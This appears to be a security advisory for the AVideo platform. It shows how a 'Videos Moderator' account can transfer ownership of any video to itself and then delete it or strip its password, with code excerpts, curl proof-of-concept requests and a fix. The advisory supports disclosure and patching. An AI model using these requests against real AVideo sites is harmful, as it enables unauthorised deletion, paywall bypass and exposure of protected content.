AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion

Summary

A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.

Details

The PERMISSION_INACTIVATEVIDEOS (ID 11) permission is described as a limited moderator role in plugin/Permissions/Permissions.php:213:

$permissions[] = new PluginPermissionOption(
    Permissions::PERMISSION_INACTIVATEVIDEOS, 
    __('Videos Moderator'), 
    __('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), 
    'Permissions'
);

However, Permissions::canModerateVideos() (Permissions.php:175) is reused as an authorization gate in multiple locations in videoAddNew.json.php that go far beyond status changes:

1. Upload gate bypass (videoAddNew.json.php:10): User::canUpload() (user.php:2650) returns true if Permissions::canModerateVideos() is true, granting moderators upload access.

2. Edit gate bypass (videoAddNew.json.php:19):

if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
    die('{"error":"2 ' . __("Permission denied") . '"}');
}

Video::canEdit() correctly checks only canAdminVideos() and ownership, but the || !Permissions::canModerateVideos() fallback allows moderators to edit any video.

3. Ownership transfer (videoAddNew.json.php:222):

if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || 
    Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {
    $obj->setUsers_id($_POST['users_id']);
}

userCanChangeVideoOwner defaults to false (CustomizeUser.php:286), but canModerateVideos() provides an unconditional bypass, allowing any moderator to reassign ownership of any video.

4. Delete via ownership (videoDelete.json.php:22-28):

if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){
    if (!$video->userCanManageVideo()) {
        // denied
    }
}
$id = $video->delete();

userCanManageVideo() (video.php:3614) checks canAdminVideos() (not canModerateVideos()), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.

The authorization asymmetry: videoAddNew.json.php treats canModerateVideos() as equivalent to canAdminVideos(), but videoDelete.json.php and userCanManageVideo() do not — creating a gap exploitable by transferring ownership first.

Additional fields a moderator can modify beyond their intended scope:

• only_for_paid (line 210) — make premium content free
• video_password (line 211) — change/remove password protection
• categories_id (line 168) — alter content categorization
• videoGroups (line 175) — modify user group visibility

PoC

Prerequisites: An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.

Step 1: Transfer ownership of target video to attacker

# ATTACKER_USER_ID = moderator's user ID
# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)
curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"

Expected response: {"status":true, ...} — ownership is now transferred to the attacker.

Step 2: Delete the video (now owned by attacker)

curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoDelete.json.php' \
  -d "id[]=TARGET_VIDEO_ID"

Expected response: {"error":false, ...} — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.

Step 3 (additional impact): Access password-protected video

curl -s -b cookies.txt -X POST \
  'http://localhost/objects/videoAddNew.json.php' \
  -d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"

This removes the video password, granting the moderator (and everyone) access to previously protected content.

Impact

• Arbitrary video deletion: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting.
• Content tampering: Moderator can change paid content flags (only_for_paid), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity."
• Access control bypass: Password-protected videos can have their passwords removed, exposing restricted content.
• Integrity loss: Video ownership records are corrupted, making audit trails unreliable.
• Availability impact: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.

The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.

Recommended Fix

Replace Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php where full edit capabilities are granted. Keep canModerateVideos() only for the specific status/publicity change operations it was designed for.

Fix for ownership transfer (videoAddNew.json.php:222):

// Before (vulnerable):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...

// After (fixed):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...

Fix for edit gate (videoAddNew.json.php:19):

// Before (vulnerable):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {

// After (fixed): 
if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {

Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor videoAddNew.json.php to check canModerateVideos() only around the specific status-change logic (lines 238-248) and require canAdminVideos() for all other fields.